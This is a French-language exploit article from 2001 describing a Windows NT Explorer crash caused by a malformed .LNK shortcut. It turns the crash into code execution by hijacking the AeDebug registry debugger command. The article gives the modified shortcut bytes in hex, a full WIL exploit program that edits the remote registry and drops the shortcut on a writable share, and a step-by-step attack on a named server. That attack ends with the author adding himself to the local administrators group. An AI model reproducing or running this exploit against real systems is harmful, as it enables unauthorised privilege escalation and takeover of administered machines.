Windows NT EXPLORER buffer overflow L'exploitation de l'inexploitable. By ThreaT. ---------------------- --> INTRODUCTION <-- ---------------------- En general, une attaque type de buffer overflow consite à faire deborder un buffer de façon à pouvoir remodifier à sa guise l'adresse de retour contenu dans le registre EIP. Le principe est le même que sous *nix; la difference réside dans l'organisation des instructions en memoire ainsi que sur le type de programme pouvant être exploité (car NT ne contient pas de fichiers suid). Observons très brievement comment ce comporte un programme vulnerable. -----------[test.c]--------------- #include #include #include int main (int argc, char *argv[]) { char buff[10]; if (!argv[1]) { printf ("Usage : %s \n",argv[0]); exit(0); } strcpy (buff, argv[1]); printf ("argument pris en compte : %s",argv[1]); return 0; } ------------------------------- C:\>c:\borland\bcc55\bin\bcc32 -I"c:\borland\bcc55\include" -L"c:\borland\bcc55\lib" test.c Borland C++ 5.5.1 for Win32 Copyright (c) 1993, 2000 Borland test.c: Warning W8057 test.c 13: Parameter 'argc' is never used in function main Turbo Incremental Link 5.00 Copyright (c) 1997, 2000 Borland C:\>test Usage : C:\BORLAND\BCC55\source\test.exe C:\>test blablabla argument pris en compte : blablabla C:\>test aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa Une exception d'application s'est produite : App : (pid=45) Quand : 6/11/2001 @ 16:45:38.728 Numéro d'exception : c0000005 (violation d'accès) Etat de vidage Thread Id 0xdd eax=00000000 ebx=7ffdf000 ecx=0012fa2c edx=ffffffff esi=0040a0b8 edi=00000000 eip=61616161 esp=0012ff94 ebp=61616161 iopl=0 nv up ei pl zr na po nc cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00010246 fonction : *----> Parcours arrière de la pile <----* FramePtr ReturnAd Param#1 Param#2 Param#3 Param#4 Function Name 0012ff90 61616161 61616161 61616161 61616161 61616161 *----> Vidage brut de la pile <----* 0012ff94 61 61 61 61 61 61 61 61 - 61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa 0012ffa4 61 61 61 61 61 61 61 61 - 61 61 61 61 61 00 12 00 aaaaaaaaaaaaa... 0012ffb4 c0 2d 40 00 f0 ff 12 00 - 00 00 00 00 b8 a0 40 00 .-@...........@. 0012ffc4 06 ba f1 77 30 00 a7 f9 - bc fb 12 00 00 f0 fd 7f ...w0........... 0012ffd4 00 f0 fd 7f c8 ff 12 00 - bc fb 12 00 ff ff ff ff ................ 0012ffe4 44 b7 f3 77 48 d2 f3 77 - 00 00 00 00 00 00 00 00 D..wH..w........ 0012fff4 00 00 00 00 00 10 40 00 - 00 00 00 00 b0 00 00 00 ......@......... 00130004 00 01 00 00 ff ee ff ee - 02 00 00 00 00 00 00 00 ................ 00130014 00 fe 00 00 00 00 10 00 - 00 20 00 00 00 02 00 00 ......... ...... 00130024 00 20 00 00 d6 00 00 00 - ff ef fd 7f 01 00 48 05 . ............H. 00130034 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 ................ 00130044 d8 04 13 00 0f 00 00 00 - f8 ff ff ff 50 00 13 00 ............P... 00130054 50 00 13 00 80 05 13 00 - 00 00 00 00 00 00 00 00 P............... 00130064 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 ................ 00130074 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 ................ 00130084 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 ................ 00130094 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 ................ 001300a4 00 00 00 00 ff ff 00 00 - 00 00 00 00 00 00 01 00 ................ 001300b4 00 00 00 00 58 49 13 00 - 58 49 13 00 c0 00 13 00 ....XI..XI...... 001300c4 c0 00 13 00 c8 00 13 00 - c8 00 13 00 d0 00 13 00 ................ Ok, on remarque tout de suite ce pour quoi notre erreur a été generée. Le buffer ayant debordé, tout les paramètres contenus sur la pile ont été overwriter, entrainant eip à pointer sur 61616161 (correspondant a: 'aaaa'). Un overflow classique comme on en voit de partout. Interressons nous maintenant à un autre type d'overflow, celui qui n'overwrite PAS EIP. C'est la dessus que notre article va porter. Comment exploiter un programme qui ne nous permet pas de modifier une adresse de retour sous windows NT? et surtout existe t'il une tel vulnerabilité? Je ne vous cache pas que la technique d'exploitation va couler de source pour certain, mais je tiens à prevenir que tout va resider sur un crash de la pile SYSTEMATIQUE, conduisant à l'appel du debugger par defaut à l'INSU de l'administrateur peut soucieu. --------------------------- --> EXPLORER OVERFLOW <-- --------------------------- Etudions maintenant un overflow très interressant, mais non exploitable à première vue. Celui ci a été decouvert alors que je m'adonnais à une experience un peut tordu. En gros je voulais essayer de créé un virus infectant les .LNK, et quel ne fut pas ma surprise, quand je decouvrit que je venais de mettre en place un beau crash de pile ce manifestant à la simple VISUALISATION du raccourci :) --> *.LNK crash. Le crash de explorer.exe survient lorsque un lien mal formé pointe sur un exe placer dans "Program Files". (appeler Progra~1 au format DOS). Apparement, si nous tronquons Progra~1 par Progra~1AAAAAAAAAAAAAAAAAAAAAAAAAA <-- rempli jusqu'à la fin du fichier (et plus si necessaire); explorer vas faire un appelle de fonction SHGetPathFromIDListW de par la dll shell32, et nous provoquer un appelle de debugger systematique, sans aucune intervention. Ce qui veut dire que juste en nous baladant dans notre arboressance, nous pouvons crée un appelle de DRwatson, pouvant être detourné par une commande malicieuse :) --> exemple Pour notre exemple, je vais crée un raccourci pointant sur D:\Program Files\AZPR\azpr.exe placé dans d:\test D:\test>dir Le volume dans le lecteur D n'a pas de nom de volume. Le numéro de série du volume est 003C-18BF Répertoire de D:\test 11/06/01 17:26 . 11/06/01 17:26 .. 11/06/01 17:26 429 azpr.lnk 3 fichier(s) 429 octets 436 213 760 octets libres Ok, je vais le renomer pour pouvoir l'editer en hexa D:\test>ren azpr.lnk azpr.bin contenu de azpr.bin 00000000 4C00 0000 0114 0200 0000 0000 C000 0000 L............... 00000010 0000 0046 9B00 0000 2000 0000 102F 5532 ...F.... ..../U2 00000020 F7AB C001 E04B 4B41 93F2 C001 007C 0F64 .....KKA.....|.d 00000030 EF0F BF01 0062 0900 0000 0000 0100 0000 .....b.......... 00000040 0000 0000 0000 0000 0000 0000 8000 1400 ................ 00000050 1F0F E04F D020 EA3A 6910 A2D8 0800 2B30 ...O. .:i.....+0 00000060 309D 1900 2344 3A5C 0000 0000 0000 0000 0...#D:\........ 00000070 0000 0000 0000 0000 000D EF25 0031 0000 ...........%.1.. 00000080 0000 00C9 2A2D 6E10 0050 726F 6772 616D ....*-n..Program 00000090 2046 696C 6573 0050 524F 4752 417E 3100 Files.PROGRA~1. 000000A0 1400 3100 0000 0000 732A 60A5 1080 417A ..1.....s*`...Az 000000B0 7072 0000 1800 3200 0062 0900 4627 E25C pr....2..b..F'.\ 000000C0 2000 617A 7072 2E65 7865 0000 0000 7100 .azpr.exe....q. 000000D0 0000 1C00 0000 0300 0000 1C00 0000 2D00 ..............-. 000000E0 0000 3400 0000 5500 0000 1100 0000 0300 ..4...U......... 000000F0 0000 BF18 3C00 1000 0000 0044 3A5C 0000 ....<......D:\.. 00000100 0000 2100 0000 0200 0000 1400 0000 0000 ..!............. 00000110 0000 0000 0200 5C5C 4445 5353 5454 3443 ......\\DESSTT4C 00000120 5C44 0050 726F 6772 616D 2046 696C 6573 \D.Program Files 00000130 5C41 5A50 525C 617A 7072 2E65 7865 001E \AZPR\azpr.exe.. 00000140 002E 002E 005C 0050 0072 006F 0067 0072 .....\.P.r.o.g.r 00000150 0061 006D 0020 0046 0069 006C 0065 0073 .a.m. .F.i.l.e.s 00000160 005C 0041 005A 0050 0052 005C 0061 007A .\.A.Z.P.R.\.a.z 00000170 0070 0072 002E 0065 0078 0065 0015 0044 .p.r...e.x.e...D 00000180 003A 005C 0050 0072 006F 0067 0072 0061 .:.\.P.r.o.g.r.a 00000190 006D 0020 0046 0069 006C 0065 0073 005C .m. .F.i.l.e.s.\ 000001A0 0041 005A 0050 0052 0000 0000 00 .A.Z.P.R..... Apportons maintenant notre modification obscure ;) 00000000 4C00 0000 0114 0200 0000 0000 C000 0000 L............... 00000010 0000 0046 9B00 0000 2000 0000 102F 5532 ...F.... ..../U2 00000020 F7AB C001 E04B 4B41 93F2 C001 007C 0F64 .....KKA.....|.d 00000030 EF0F BF01 0062 0900 0000 0000 0100 0000 .....b.......... 00000040 0000 0000 0000 0000 0000 0000 8000 1400 ................ 00000050 1F0F E04F D020 EA3A 6910 A2D8 0800 2B30 ...O. .:i.....+0 00000060 309D 1900 2344 3A5C 0000 0000 0000 0000 0...#D:\........ 00000070 0000 0000 0000 0000 000D EF25 0031 0000 ...........%.1.. 00000080 0000 00C9 2A2D 6E10 0050 726F 6772 616D ....*-n..Program 00000090 2046 696C 6573 0050 524F 4752 417E 3141 Files.PROGRA~1A 000000A0 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA 000000B0 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA 000000C0 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA 000000D0 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA 000000E0 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA 000000F0 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA 00000100 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA 00000110 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA 00000120 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA 00000130 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA 00000140 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA 00000150 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA 00000160 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA 00000170 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA 00000180 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA 00000190 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA 000001A0 4141 4141 4141 4141 4141 4141 41 AAAAAAAAAAAAA Enregistrons ce fichier, puis renomons le azpr.lnk D:\test>ren azpr.bin azpr.lnk Maintenant, je prend ma jolie souris, et je vais aller browser d:\test JUSTE SA! et la, -------------------BOOM------------------------- Une exception d'application s'est produite : App : EXPLORER.dbg (pid=130) Quand : 6/9/2001 @ 15:1:47.63 Numéro d'exception : c0000005 (violation d'accès) [...] Etat de vidage Thread Id 0x4b eax=000e5543 ebx=00000010 ecx=00000000 edx=0000005c esi=00000104 edi=77f12a96 eip=70968626 esp=01afe3ec ebp=01afe604 iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00000202 fonction : SHGetPathFromIDListW 70968608 8b450c mov eax,[ebp+0xc] ss:02b1d00a=???????? 7096860b 8d0458 lea eax,[eax+ebx*2] ds:00000010=???????? 7096860e 50 push eax 7096860f e880000000 call SHGetPathFromIDListW+0x22f (70968694) 70968614 8b4508 mov eax,[ebp+0x8] ss:02b1d00a=???????? 70968617 0fb700 movzx eax,word ptr [eax] ds:000e5543=???? 7096861a 014508 add [ebp+0x8],eax ss:02b1d00a=???????? 7096861d 837dfc00 cmp dword ptr [ebp-0x4],0x0 ss:02b1d00a=???????? 70968621 745f jz SHGetPathFromIDListW+0x21d (70968682) 70968623 8b4508 mov eax,[ebp+0x8] ss:02b1d00a=???????? FAUTE ->70968626 66833800 cmp word ptr [eax],0x0 ds:000e5543=???? 7096862a 7456 jz SHGetPathFromIDListW+0x21d (70968682) 7096862c ff750c push dword ptr [ebp+0xc] ss:02b1d00a=???????? 7096862f ffd7 call edi 70968631 837d1000 cmp dword ptr [ebp+0x10],0x0 ss:02b1d00a=???????? 70968635 8bd8 mov ebx,eax 70968637 0f85b9e50100 jne Ordinal27+0x230a (70986bf6) 7096863d 8d85f4fdffff lea eax,[ebp+0xfffffdf4] ss:01afe3f8=00410041 70968643 56 push esi 70968644 50 push eax 70968645 ff7508 push dword ptr [ebp+0x8] ss:02b1d00a=???????? 70968648 e8bdb3ffff call Ordinal25+0xfa (70963a0a) *----> Parcours arrière de la pile <----* FramePtr ReturnAd Param#1 Param#2 Param#3 Param#4 Function Name 01afe604 709685e5 000e5543 01afe780 00000000 709685c5 SHELL32!SHGetPathFromIDListW 01afe754 70968474 000e13b0 01afe780 00000000 7097ad53 SHELL32!SHGetPathFromIDListW 01afe988 7097ad05 0009f840 01afe998 003a0046 0077005c SHELL32!SHGetPathFromIDListW 01afeba0 7097aeaa 0009f848 01afebc0 00000000 8007000e SHELL32!Ordinal26 01aff02c 7096c142 000bdf40 0009f848 70965f10 01affcd4 SHELL32!Ordinal26 01aff258 7096bc7b 000aca88 ffffffff 000d5f28 01affcd4 SHELL32!SHGetSpecialFolderLocation 01affc98 70965e84 000acb44 00000000 00000001 01affcd8 SHELL32!SHGetSpecialFolderLocation 01affcc8 7098fc03 000acb44 00000000 000d5f28 00000000 SHELL32!Ordinal77 01afff0c 70965eb9 000acb48 000acb44 00000000 000e100c SHELL32!Ordinal27 01afff30 709d832e 000acb44 000acb48 000d5f28 00000000 SHELL32!Ordinal77 01afff5c 70993172 000d4848 000e1008 00000000 00000000 SHELL32!WOWShellExecute 01afffb8 77f04ee8 0000004b 00000000 00000000 00000154 SHELL32!Ordinal27 01afffec 00000000 70982ebc 00000154 00000000 00905a4d kernel32!lstrcmpiW 00000000 00000000 00000000 00000000 00000000 00000000 EXPLORER! *----> Vidage brut de la pile <----* 01afe3ec b0 13 0e 00 c4 13 0e 00 - 00 00 00 00 41 00 41 00 ............A.A. 01afe3fc 41 00 41 00 41 00 41 00 - 41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A. 01afe40c 41 00 41 00 41 00 41 00 - 41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A. 01afe41c 41 00 41 00 41 00 41 00 - 41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A. 01afe42c 41 00 41 00 41 00 41 00 - 41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A. 01afe43c 41 00 41 00 41 00 41 00 - 41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A. 01afe44c 41 00 41 00 41 00 41 00 - 41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A. 01afe45c 41 00 41 00 41 00 41 00 - 41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A. 01afe46c 41 00 41 00 41 00 41 00 - 41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A. 01afe47c 41 00 41 00 41 00 41 00 - 41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A. 01afe48c 41 00 41 00 41 00 41 00 - 41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A. 01afe49c 41 00 41 00 41 00 41 00 - 41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A. 01afe4ac 41 00 41 00 41 00 41 00 - 41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A. 01afe4bc 41 00 41 00 41 00 41 00 - 41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A. 01afe4cc 41 00 41 00 41 00 41 00 - 41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A. 01afe4dc 41 00 41 00 41 00 41 00 - 41 00 00 00 41 41 41 41 A.A.A.A.A...AAAA 01afe4ec 41 41 41 41 41 41 41 41 - 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 01afe4fc 41 41 41 41 41 41 41 41 - 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 01afe50c 41 41 41 41 80 00 00 00 - 40 f8 09 00 00 00 00 00 AAAA....@....... 01afe51c bc ac 97 70 b0 f8 09 00 - 05 00 00 a0 40 f8 09 00 ...p........@... Vous pouvez alors remarquer que explorer a generé une belle erreur, à cause d'un debordement de pile. mais eip n'est pas overwriter. Mais alors comment executer une quelquonque commande à l'insu d'un administrateur peut soucieu si il nous est impossible de modifier l'adresse de retour? Toute l'astuce va consister à subtiliser la commande utilisé pour appeller DRwatson. ------------------- --> APPEL BDR <-- ------------------- Dans Windows NT, l'appelle du debugger par defaut est paramètré dans la base de registre à la clé HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AeDebug Voici une importation via regedt32 ----------------------------------- Nom de la clé : SOFTWARE\Microsoft\Windows NT\CurrentVersion\AeDebug Nom de la classe : Heure de dernière écriture : 09/06/01 - 01:58 Valeur 0 Nom : Auto Type : REG_SZ Données : 1 <--- cette valeur doit être placé à 1 pour être sur que le debugger s'executeras en auto Valeur 1 Nom : Debugger Type : REG_SZ Données : drwtsn32 -p %ld -e %ld -g <-- Voici la commande que nous allons subtiliser Valeur 2 Nom : UserDebuggerHotKey Type : REG_DWORD Données : 0 ------------------------------------- Cette clé est modifiable par un UTILISATEUR (dans NT4 en tout cas) En quoi va donc consister l'exploitation de la faille? Tout d'abbors, nous allons devoir nous connecter sur une UNC accessible en ecriture, et placer le .lnk malicieux créé un peut plus haut. Ensuite, nous nous connectons sur la registery distante, et nous modifions les valeurs de AUTO et DEBUGGER, pour que lorsque l'administrateur iras browser notre UNC piegé, notre commande soit executée :) ---------------------- --> EXPLOIT CODE <-- ---------------------- Voici un petit programme écrit en WIL (Windows Interface Language) qui va s'occupé de tout à votre place. Il suffit de lui indiquer UNC writable, les login/pass de l'utilisateur avec lequel ce connecter à celle si, ainsi que la commande à placer dans la bdr. ************************** addextender ("wwwnt34i.dll") path=dirget () errormode (@off) :debut exploitFormat=`WWWDLGED,5.0` exploitCaption=`sh32&bdr Xploit by ThreaT` exploitX=141 exploitY=96 exploitWidth=122 exploitHeight=90 exploitNumControls=10 exploit01=`0,4,52,DEFAULT,STATICTEXT,DEFAULT," UNC share writable : "` exploit02=`2,18,50,DEFAULT,STATICTEXT,DEFAULT," Domain\utilistateur :"` exploit03=`16,32,36,DEFAULT,STATICTEXT,DEFAULT," Password :"` exploit04=`0,46,52,DEFAULT,STATICTEXT,DEFAULT,"Commande arbitraire :"` exploit05=`52,2,64,DEFAULT,EDITBOX,unc,""` exploit06=`52,16,64,DEFAULT,EDITBOX,user,""` exploit07=`52,30,64,DEFAULT,EDITBOX,pass,""` exploit08=`52,44,64,DEFAULT,EDITBOX,command,""` exploit09=`2,60,116,DEFAULT,PUSHBUTTON,DEFAULT,"&Xploit it",1` exploit10=`30,74,64,DEFAULT,PUSHBUTTON,DEFAULT,"&Quit",2` ButtonPushed=Dialog("exploit") switch buttonpushed case 1 boxopen ("sh32&bdr exploit working...","Connexion a l'UNC %unc%...") wntadddrive (user,pass,unc,"z:",@false) if lasterror () == 499 message ("Erreur!", "connexion a %unc% impossible") goto debut endif boxtext ("mise en place de la commande arbitraire dans la bdr...") data="debugger" assign=command for i = 1 to 2 regsetex (regopenkey (regconnect (strsub (unc,1,strscan (unc,"\",3,@FWDSCAN) -1 ),@regmachine),"SOFTWARE\Microsoft\Windows NT\CurrentVersion\AeDebug"),"[%data%]",assign,@tab,"1") data="auto" assign="1" next boxtext ("envoie du fichier link crash...") filecopy ("%path%\xploit.bin","z:\win.lnk",@false) boxshut () message ("terminer","sh32.dll&bdr xploit work successfull!") exit ******************** Nommer au préalable votre fichier lnk xploit.bin, et placé le dans le même repertoire que le prog. ---------------------------- --> SCENARIO D'ATTAQUE <-- ---------------------------- Imaginons un serveur \\SERVEUR et un client \\CLIENT. Je possède un compte utilisateur sur \\SERVEUR appellé ThreaT, et je suis logué sur la station \\CLIENT. déterminons en premier lieu qui est logué sur le serveur. C:\>ping serveur Pinging serveur [10.201.80.245] avec 32 octets de données : Réponse de 10.201.80.245 : octets=32 temps<10ms TTL=128 Réponse de 10.201.80.245 : octets=32 temps<10ms TTL=128 Réponse de 10.201.80.245 : octets=32 temps<10ms TTL=128 Réponse de 10.201.80.245 : octets=32 temps<10ms TTL=128 C:\>nbtstat -A 10.201.80.245 | find /i "<03>" SERVEUR <03> UNIQUE ADMINISTRATEUR <03> UNIQUE ok, c'est bien un admin qui est logué, maintenant, nous allons nous connecter, et regarder si nous avons un write access sur une unc C:\>net use \\10.201.80.245\ipc$ "" /user:ThreaT La commande a été exécutée C:\>net use Les nouvelles connexions seront mémorisées. Etat Local Distant Réseau ------------------------------------------------------------------------------- OK \\10.201.80.245\ipc$ Réseau Microsoft Windows La commande a été exécutée. C:\>net view \\10.201.80.245 Ressources partagées de \\10.201.80.245 Nom Type Local Remarque ------------------------------------------------------------------------------- CAP_PF0 Disque SMS Site PF0 CAP 09/21/00 CFT Disque CInfo Disque client SMS Disque deploiement Disque Echange Disque Fichiers Disque InetPub Disque Lots SMS Disque master Disque omartin Disque qmaster Impr. qmaster qmaster_dir Disque RecetteUBP Disque SENDER Disque sms partage Disque SMS-CD Disque sms.srv Disque SMS_PF0 Disque SMS Site PF0 09/21/00 SMS_SITE Disque SMS Site PF0 09/21/00 users Disque VPHOME Disque Virus Protect VPLOGON Disque Virus Protect La commande a été exécutée. Essayons d'écrire dans inetpub, qui est le repertoire pas defaut pour les services internet. C:\>echo "test" > \\10.201.80.245\inetpub\test.txt C:\> hé hé, yess, du premier coup :) C:\>dir \\10.201.80.245\inetpub Le volume dans le lecteur \\10.201.80.245\inetpub n'a pas de nom de volume. Le numéro de série du volume est A414-CA9B Répertoire de \\10.201.80.245\inetpub 11/06/01 17:33 . 11/06/01 17:33 .. 16/05/01 13:55 ftproot 23/11/00 16:04 iissamples 23/11/00 16:04 scripts 11/06/01 17:35 9 test.txt 23/11/00 16:04 wwwroot 7 fichier(s) 9 octets 5 381 640 192 octets libres Maintenant, on peut exploiter :) C:\>c:\exploit\sh32bdr.exe UNC share writable : \\10.201.80.245\inetpub Domain\utilistateur : ThreaT Password : Commande arbitraire : cmd /c "@net localgroup administrateurs ThreaT /add" XPLOIT IT sh32.dll&bdr xploit work successfull! C:\> Du coté du serveur, quand l'administrateur va allé browser le repertoire inetpub, une petite fenêtre noir va apparaitre 1/2 seconde affichant le message 'La commande a été exécutée.' C:\>net use * \\10.201.80.245\c$ Le lecteur H: est maintenant connecté à \\10.201.80.245\c$. La commande a été exécutée. ET VOILA! du coté console admin, voyons quel est la modification apporté par notre commande arbitraire : C:\>net user ThreaT Nom d'utilisateur ThreaT Nom complet Commentaire Commentaire utilisateur Code de pays 000 (Valeur par défaut du système) Compte : actif Oui : expiration Jamais Mot de passe : dernier changmt. 6/7/01 4:39 PM : expiration 7/20/01 3:26 PM : modifiable après 6/7/01 4:39 PM : exigé Oui : changmt. possible Oui Stations autorisées Tous(tes) Script d'ouverture de session Profil d'utilisateur Répertoire de base Dernier accès 6/7/01 4:52 PM Heures d'accés autorisé Tous(tes) Appartient aux groupes locaux *Administrateurs <-- hop ;) *Utilisateurs Appartient aux groupes globaux *Aucun La commande a été exécutée. -------------- --> FIN <-- -------------- et voila, c'est fini. j'espère que cette petite demo vous a bien plus. Comme d'habitude, si vous avez, questions, remarques, coup de gueulle ou une connerie à dire, Vous pouvez m'écrire à: ThreaT@Caramail.com (ce n'est cependant pas la peine de me faire des remarques sur mon style orthographique, je suis au courant ;) Da GreaTzsZ: --> MvM: MavericK, OraS, DreaD, ShanK, CoX, MaX, Angus & other (phreaking for ever) --> Dabcorp: titi FTO, dams, AlexCr@zy, ben, bart, baleine, moumou & other (Lyon Underground) --> Happy people: sebsb, analyst, vince, scal, kawito (you rule the world) Le progrès technique ressemble à une hache dans les mains d'un criminel pathologique. -- Albert Einstein.